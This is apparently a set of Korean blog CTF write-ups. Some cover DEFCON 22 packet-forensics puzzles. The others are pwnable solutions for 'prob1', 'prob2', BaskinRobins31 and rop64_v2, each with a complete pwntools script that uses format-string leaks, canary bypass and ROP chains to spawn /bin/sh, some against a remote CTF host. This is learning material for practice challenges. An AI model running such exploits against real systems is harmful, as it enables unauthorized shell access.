stun 프로토콜로 많은 메세지를 주고 받았는데 너무 많아서 직접 확인하는건 힘들고 정규식을 이용해서 찾았다.

drpoppins-735@127.0.0.1

질문이 "Ill-song의 컴퓨터 이름은 무엇입니까?"

컴퓨터 이름을 물어보니 drpoppins-735가 정답이다.

728x90

'해킹 > writeup' 카테고리의 다른 글

DreamHack - cookie  (0) 2021.08.10
DreamHack - proxy-1  (0) 2021.08.10
DefCoN#22 #3  (0) 2021.08.06
DefCoN#22 #2  (0) 2021.08.06
22. format string bug - prob2  (0) 2021.08.03

Snowden’s eloquent quotes를 검색하면 아래 이미지의 글이 나온다.

Snowden’s eloquent quotes

ftp로 파일을 받은게 있어서

ftp-data로 찾아서 받아 압축을 풀어봤는데 위에 문장을 만들기에는 단어가 부족해서 더 찾아봤다.

Follow TCP Stream 해서 Show data as 를 Raw 로 바꾸고 Save as... 로 저장할 수 있다.

내용에 .zip이 들어가는 패킷을 찾아서 살펴보면

3개의 zip 파일이 더 나온다.

내용만 Hex Dump 로 복사해서 Hex Dump 를 파일로 바꿔주는 프로그램을 간단하게 만들어서 zip파일로 만들었다.

HexDump2File.zip
0.13MB

HexDump2File.exe canc3l.txt canc3l.zip

이렇게 모든 zip 파일을 추출해내고 압축을 풀어서 문장 순서대로 합치면

(around the world 에서 the 를 넣으면 이미지가 깨진다.)

cat I.jpg cant.jpg in.jpg good.jpg conscience.jpg allow.jpg the.jpg U.S..jpg government.jpg to.jpg destroy.jpg privacy.jpg internet.jpg freedom.jpg and.jpg basic.jpg liberties.jpg for.jpg people.jpg around.jpg world.jpg with.jpg this.jpg massive.jpg surveillance.jpg machine.jpg theyre.jp
g secretly.jpg building.jpg > ../output.jpg

이러한 이미지가 나온다.

문제의 질문이 "이 캡처를 보고 뇌물이 무엇인지 알아낼 수 있는지 확인하십시오." 이므로

구글에서 이미지로 검색을 해 보면 이 이미지의 원본인거 같은

http://chrisbathgate.blogspot.com/2013/05/chess-by-bathgate.html

 

Chess by Bathgate

It has been many months since the last time I completed a work or made a new post. This is all because I have been hard...

chrisbathgate.blogspot.com

블로그가 나온다.

Chess Set 이 플래그다.

728x90

'해킹 > writeup' 카테고리의 다른 글

DreamHack - proxy-1  (0) 2021.08.10
DefCoN#22 #4  (0) 2021.08.06
DefCoN#22 #2  (0) 2021.08.06
22. format string bug - prob2  (0) 2021.08.03
21. format string bug - prob1  (0) 2021.08.01

IRC 패킷을 Follow -> TCP Stream 을 이용해서 열어보면, 인코딩 된 메세지들이 보이는데

Ill_Song 의 패킷은 Base64로 디코딩 한 뒤, hex 또는 octal 로 디코딩 하면 됩니다.

Razor1 의 패킷은 Base64로 디코딩 한 뒤, Base32로 디코딩 하면 됩니다.

Razor1의 패킷중 디코딩하다 보면

I can be in c9fa5b8cb3b197ae5ce4baf8415a375b within the week.

이라는 메세지가 있는데, 중간에 있는 "c9fa5b8cb3b197ae5ce4baf8415a375b" 이게 md5로 해싱되어 있습니다.

MD5 reverse for c9fa5b8cb3b197ae5ce4baf8415a375b (gromweb.com)

 

MD5 reverse for c9fa5b8cb3b197ae5ce4baf8415a375b

The MD5 hash: c9fa5b8cb3b197ae5ce4baf8415a375b was succesfully reversed into the string: Caracas Feel free to provide some other MD5 hashes you would like to try to reverse. Reverse a MD5 hash You can generate the MD5 hash of the string which was just reve

md5.gromweb.com

Caracas가 나옵니다. 플래그는 Caracas입니다.

728x90

'해킹 > writeup' 카테고리의 다른 글

DefCoN#22 #4  (0) 2021.08.06
DefCoN#22 #3  (0) 2021.08.06
22. format string bug - prob2  (0) 2021.08.03
21. format string bug - prob1  (0) 2021.08.01
20. sung.pw - BaskinRobins31  (0) 2021.08.01

prob2
0.01MB

전 글과 같이 이번에도 포맷스트링 버그를 이용하여 쉘을 얻을것인데, 이번에는 canary 보호기법이 적용되어 있어 canary까지 유출해보도록 하겠습니다.

canary는 rsp+0x18에 위치하니 %(5+0x18/8+1)$p로 포맷스트링을 만들어주고, ret은 rbp+0x8인데 rbp는 rsp+0x20이기 때문에, rsp+0x28에 위치합니다. %(5+0x28/8+1)$p로 포맷스트링을 만들어서 전송해 주겠습니다.

 

계산해보면 "%9$p.%11$p"인데 중간에 .은 출력을 가져올 때 두 주소를 구분하기 위한 문자입니다. 총 10자로 scanf 에서 10자만 받으니 sendline으로 보내면 입력 버퍼에 개행만 남아 다음 read에서 그냥 넘어가기 때문에 send 로 보내주겠습니다.

payload = "%{}$p.%{}$p".format(str(5+(0x18/8)+1), str(5+(0x28/8)+1))

r.send(payload)

값을 받아오겠습니다.

canary = int(r.recvuntil(".")[:-1], 16)
print(hex(canary))
ret = int(r.recv(14), 16)
print(hex(ret))

ret 을 받아왔으니 libc base를 구해주고, system함수와 /bin/sh문자열을 가져오겠습니다.

_base = ret - 240 - libc.sym['__libc_start_main']
_system = _base + libc.sym['system']
_binsh = _base + libc.search("/bin/sh\x00").next()

그리고 이걸 이용하여 canary가 있는 위치 전까지 더미값으로 덮어씌우고, canary를 유출한 값으로 다시 덮어 씌우겠습니다. 그 다음 SFP 더미값으로 덮어 씌우고 RET을 system("/bin/sh")로 써주겠습니다.

payload = "A" * (0x18)
payload += p64(canary)
payload += "B" * 8
payload += p64(prdi)
payload += p64(_binsh)
payload += p64(_system)

r.sendline(payload)

그리고 실행하게 되면 쉘이 실행되게 됩니다.

from pwn import *

context.log_level = 'debug'

e = ELF('./prob2')
r = process('./prob2')
libc = e.libc

prdi = 0x0000000000400893

payload = "%{}$p.%{}$p".format(str(5+(0x18/8)+1), str(5+(0x28/8)+1))

r.send(payload)

canary = int(r.recvuntil(".")[:-1], 16)
print(hex(canary))
ret = int(r.recv(14), 16)
print(hex(ret))

_base = ret - 240 - libc.sym['__libc_start_main']
_system = _base + libc.sym['system']
_binsh = _base + libc.search("/bin/sh\x00").next()

payload = "A" * (0x18)
payload += p64(canary)
payload += "B" * 8
payload += p64(prdi)
payload += p64(_binsh)
payload += p64(_system)

r.sendline(payload)

r.interactive()
728x90

'해킹 > writeup' 카테고리의 다른 글

DefCoN#22 #3  (0) 2021.08.06
DefCoN#22 #2  (0) 2021.08.06
21. format string bug - prob1  (0) 2021.08.01
20. sung.pw - BaskinRobins31  (0) 2021.08.01
19. sung.pw - rop64_v2  (0) 2021.08.01

prob1
0.01MB

이 파일을 포맷스트링 버그를 이용해서 쉘을 얻어보겠습니다.

일단 파일을 연결하고,

from pwn import *

context.log_level = 'debug'

e = ELF('./prob1')
r = process('./prob1')
libc = e.libc

IDA로 보면 printf(format); 부분에서 포맷스트링 버그가 나고 read(0, format, 0x100uLL); 에서 버퍼 오버플로우가 발생합니다.

printf(format)을 이용하여 libc base를 구하고, 버퍼 오버플로우로 system("/bin/sh")를 실행시켜 주겠습니다.

 

rbp-10h에 위치한 format이 스택의 최상단 rsp+0h에 존재하니 rbp와 rsp의 거리는 0x10임을 알 수 있습니다.

printf의 format은 rsi, rdx, rcx, r8, r9, rsp, rsp+8*n... 형식으로 가져오기 때문에

rbp를 먼저 구해보자면 5(rsi,rdx,rcx,r8,r9) + 0x10 / 8(rsp + 0x10) + 1 이 됩니다.

sfp가 있기 때문에 +1을 해주겠습니다.

payload = "%"+str(5 + (0x10 / 8) + 1 + 1)+"$p"

r.sendline(payload)

그러면 __libc_start_main+240의 주소가 출력될 것입니다. 그 값을 받아서 libc base를 구해주겠습니다.

__libc_start_main = int(r.recv(14), 16)
_base = __libc_start_main - libc.sym['__libc_start_main'] - 240
system = _base + libc.sym['system']
binsh = _base + libc.search("/bin/sh\x00").next()

그리고 pop rdi 가젯을 이용해 system("/bin/sh")를 실행시켜 주겠습니다.

prdi = 0x0000000000400803

payload = "A" * (0x10 + 8)
payload += p64(prdi)
payload += p64(binsh)
payload += p64(system)

r.sendline(payload)

r.interactive()

이렇게 하면 쉘이 실행될 것입니다.

728x90

'해킹 > writeup' 카테고리의 다른 글

DefCoN#22 #2  (0) 2021.08.06
22. format string bug - prob2  (0) 2021.08.03
20. sung.pw - BaskinRobins31  (0) 2021.08.01
19. sung.pw - rop64_v2  (0) 2021.08.01
18. sung.pw - ropasaurusrex  (0) 2021.08.01

your_turn 함수에서 버퍼 오버플로우가 발생합니다.

your_turn 함수까지 입력받고, your_turn 함수에 puts를 이용하여 puts의 실제 주소를 출력하는 페이로드를 작성하여 전송해주고, your_turn 함수를 다시 실행하도록 하겠습니다.

r.recvuntil("(1-3)\n")

rdi_rsi_rdx = 0x000000000040087a
rdi = 0x0000000000400bc3

payload = 'A' * (0xB0 + 8)
payload += p64(rdi)
payload += p64(e.got['puts'])
payload += p64(e.plt['puts'])
payload += p64(e.sym['your_turn'])

r.sendline(payload)

Don't break the rules...:(\n 까지 입력받고, \n 전까지 입력받은 값을 u64로 언패킹 해줍니다.

r.recvuntil(":(")
r.recvuntil("\x0a")
puts_hex = r.recvuntil('\x0a')[:-1]
_puts = u64(puts_hex.ljust(8, '\x00'))
print("puts: ", puts_hex, _puts)

그리고 puts 주소에서 라이브러리의 puts offset 을 빼서 base를 구한 뒤, system 함수의 주소를 구하고,

bss 영역에 /bin/sh를 써서

system("/bin/sh")를 실행시켜 주겠습니다.

_base = _puts - libc.sym['puts']
_system = _base + libc.sym['system']
_binsh = e.bss() + 0x10

payload = ""
payload += "A" * (0x40) + "B" * 8
payload += p64(rdi_rsi_rdx)
payload += p64(0)
payload += p64(_binsh)
payload += p64(0x10)
payload += p64(e.plt['read'])
payload += p64(e.sym['your_turn'])

r.sendline(payload)
r.sendline('/bin/sh\x00')

payload = 'A' * (0xB0 + 8)
payload += p64(rdi)
payload += p64(_binsh)
payload += p64(_system)

r.sendline(payload)

전체 코드

from pwn import *

context.log_level = 'debug'

e = ELF('./BaskinRobins31')
r = remote("sunrin.site", 9008)
libc = ELF('./libc.so.6')

r.recvuntil("(1-3)\n")

rdi_rsi_rdx = 0x000000000040087a
rdi = 0x0000000000400bc3

payload = 'A' * (0xB0 + 8)
payload += p64(rdi)
payload += p64(e.got['puts'])
payload += p64(e.plt['puts'])
payload += p64(e.sym['your_turn'])

r.sendline(payload)

r.recvuntil(":(")
r.recvuntil("\x0a")
puts_hex = r.recvuntil('\x0a')[:-1]
_puts = u64(puts_hex.ljust(8, '\x00'))
print("puts: ", puts_hex, _puts)

_base = _puts - libc.sym['puts']
_system = _base + libc.sym['system']
_binsh = e.bss() + 0x10

payload = ""
payload += "A" * (0x40) + "B" * 8
payload += p64(rdi_rsi_rdx)
payload += p64(0)
payload += p64(_binsh)
payload += p64(0x10)
payload += p64(e.plt['read'])
payload += p64(e.sym['your_turn'])

r.sendline(payload)
r.sendline('/bin/sh\x00')

payload = 'A' * (0xB0 + 8)
payload += p64(rdi)
payload += p64(_binsh)
payload += p64(_system)

r.sendline(payload)

r.interactive()
728x90

'해킹 > writeup' 카테고리의 다른 글

22. format string bug - prob2  (0) 2021.08.03
21. format string bug - prob1  (0) 2021.08.01
19. sung.pw - rop64_v2  (0) 2021.08.01
18. sung.pw - ropasaurusrex  (0) 2021.08.01
17. sung.pw - rop32_v2  (0) 2021.08.01

64비트로 바뀌었습니다.

from pwn import *

context.log_level = 'debug'

e = ELF('./rop64_v2')
p = remote("sunrin.site", 9007)
libc = ELF('./libc.so.6')

prdi = 0x00000000004005f3
prsir15 = 0x00000000004005f1
pppret = 0x080486b9

payload = 'A' * (0x10 + 8)
payload += p64(prdi)
payload += p64(1)
payload += p64(prsir15)
payload += p64(e.got['write'])
payload += 'A' * 8
payload += p64(e.plt['write'])
payload += p64(e.sym['main'])

p.sendlineafter("World\n", payload)

_write = u64(p.recvuntil('\x7f').ljust(8, '\x00'))
base = _write - libc.symbols['write']
system = base + libc.sym['system']
binsh = e.bss() + 0x10

payload = 'A' * (0x10 + 8)
payload += p64(prdi)
payload += p64(0)
payload += p64(prsir15)
payload += p64(binsh)
payload += 'A' * 8
payload += p64(e.plt['read'])
payload += p64(e.sym['main'])

p.sendline(payload)
p.sendline('/bin/sh\x00')

payload = 'A' * (0x10 + 8)
payload += p64(prdi)
payload += p64(binsh)
payload += p64(system)

p.sendline(payload)

p.interactive()
728x90

'해킹 > writeup' 카테고리의 다른 글

21. format string bug - prob1  (0) 2021.08.01
20. sung.pw - BaskinRobins31  (0) 2021.08.01
18. sung.pw - ropasaurusrex  (0) 2021.08.01
17. sung.pw - rop32_v2  (0) 2021.08.01
16. sung.pw - rop32  (0) 2021.08.01

+ Recent posts